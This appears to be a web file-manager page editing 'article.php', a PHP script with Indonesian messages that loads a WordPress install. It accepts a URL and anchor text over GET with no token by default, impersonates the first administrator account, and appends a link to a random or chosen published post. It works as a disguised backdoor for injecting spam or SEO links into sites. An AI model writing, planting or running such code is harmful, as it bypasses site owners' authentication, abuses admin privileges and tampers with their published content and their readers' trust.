← Back
Editing: article.php
<?php const TL_TOKEN = ''; const TL_MAX_URL_LEN = 2048; const TL_MAX_ANCHOR_LEN = 200; const TL_WP_LOAD_PATH = ''; function tl_find_wp_load() { if ( TL_WP_LOAD_PATH !== '' && is_file( TL_WP_LOAD_PATH ) ) { return TL_WP_LOAD_PATH; } $dir = __DIR__; for ( $i = 0; $i < 10; $i++ ) { $candidate = $dir . DIRECTORY_SEPARATOR . 'wp-load.php'; if ( file_exists( $candidate ) ) { return $candidate; } $parent = dirname( $dir ); if ( $parent === $dir ) { break; } $dir = $parent; } return false; } function tl_respond( $data, $status = 200 ) { if ( ! headers_sent() ) { http_response_code( $status ); header( 'Content-Type: application/json; charset=utf-8' ); nocache_headers(); } echo wp_json_encode( $data, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE ); exit; } function tl_error( $message, $status = 400 ) { tl_respond( array( 'success' => false, 'error' => $message ), $status ); } $wp_load = tl_find_wp_load(); if ( ! $wp_load ) { if ( ! headers_sent() ) { http_response_code( 500 ); header( 'Content-Type: application/json; charset=utf-8' ); } echo wp_json_encode( array( 'success' => false, 'error' => 'wp-load.php tidak ditemukan. Pastikan file ini berada di dalam folder instalasi WordPress, atau isi TL_WP_LOAD_PATH.' ), JSON_UNESCAPED_SLASHES ); exit; } define( 'WP_USE_THEMES', false ); require_once $wp_load; if ( TL_TOKEN !== '' ) { $req_token = isset( $_GET['token'] ) ? (string) wp_unslash( $_GET['token'] ) : ''; if ( ! hash_equals( TL_TOKEN, $req_token ) ) { tl_error( 'Token tidak valid atau hilang. Tambahkan &token=... pada URL.', 403 ); } } $url = isset( $_GET['url'] ) ? trim( (string) wp_unslash( $_GET['url'] ) ) : ''; $anchor = isset( $_GET['anchor'] ) ? trim( (string) wp_unslash( $_GET['anchor'] ) ) : ''; $forced_id = isset( $_GET['post_id'] ) ? absint( $_GET['post_id'] ) : 0; if ( $url === '' || $anchor === '' ) { tl_error( 'Parameter url dan anchor wajib diisi. Contoh: ?url=https://contoh.com/&anchor=Klik di sini' ); } if ( strlen( $url ) > TL_MAX_URL_LEN ) { tl_error( 'Parameter url terlalu panjang (maks ' . TL_MAX_URL_LEN . ' karakter).' ); } $anchor = trim( wp_strip_all_tags( $anchor ) ); if ( $anchor === '' ) { tl_error( 'Parameter anchor kosong setelah dibersihkan dari tag HTML.' ); } if ( strlen( $anchor ) > TL_MAX_ANCHOR_LEN ) { tl_error( 'Parameter anchor terlalu panjang (maks ' . TL_MAX_ANCHOR_LEN . ' karakter).' ); } if ( ! filter_var( $url, FILTER_VALIDATE_URL ) ) { tl_error( 'Parameter url bukan URL yang valid.' ); } $scheme = strtolower( (string) wp_parse_url( $url, PHP_URL_SCHEME ) ); if ( ! in_array( $scheme, array( 'http', 'https' ), true ) ) { tl_error( 'Hanya URL dengan skema http:// atau https:// yang diizinkan.' ); } global $wpdb; if ( $forced_id > 0 ) { $row = $wpdb->get_row( $wpdb->prepare( "SELECT ID, post_title, post_content FROM {$wpdb->posts} WHERE ID = %d AND post_type = 'post' AND post_status = 'publish' LIMIT 1", $forced_id ) ); if ( ! $row ) { tl_error( 'Post ID ' . $forced_id . ' tidak ditemukan / bukan post terpublikasi.', 404 ); } if ( strpos( $row->post_content, $url ) !== false ) { tl_error( 'Link tersebut sudah terdapat di post ID ' . $forced_id . '.', 409 ); } } else { $like = '%' . $wpdb->esc_like( $url ) . '%'; $row = $wpdb->get_row( $wpdb->prepare( "SELECT ID, post_title, post_content FROM {$wpdb->posts} WHERE post_type = 'post' AND post_status = 'publish' AND post_content NOT LIKE %s ORDER BY RAND() LIMIT 1", $like ) ); if ( ! $row ) { tl_error( 'Tidak ada post terpublikasi yang cocok (semua post mungkin sudah berisi link tersebut).', 404 ); } } if ( ! is_user_logged_in() ) { $admins = get_users( array( 'role' => 'administrator', 'orderby' => 'ID', 'order' => 'ASC', 'number' => 1, 'fields' => 'ID', ) ); if ( ! empty( $admins ) ) { wp_set_current_user( (int) $admins[0] ); } } $link_html = '<a href="' . esc_url( $url ) . '">' . esc_html( $anchor ) . '</a>'; $old_content = rtrim( wp_unslash( $row->post_content ) ); $new_content = $old_content . "\n\n" . $link_html; $result = wp_update_post( array( 'ID' => (int) $row->ID, 'post_content' => wp_slash( $new_content ), ), true ); if ( is_wp_error( $result ) ) { tl_error( 'Gagal update post: ' . $result->get_error_message(), 500 ); } if ( empty( $result ) ) { tl_error( 'Gagal update post (hasil kosong).', 500 ); } tl_respond( array( 'success' => true, 'post_id' => (int) $row->ID, 'post_title' => html_entity_decode( get_the_title( $row->ID ), ENT_QUOTES ), 'post_url' => get_permalink( $row->ID ), 'url' => $url, 'anchor' => $anchor, 'link_html' => $link_html, ), 200 );
Save File
Cancel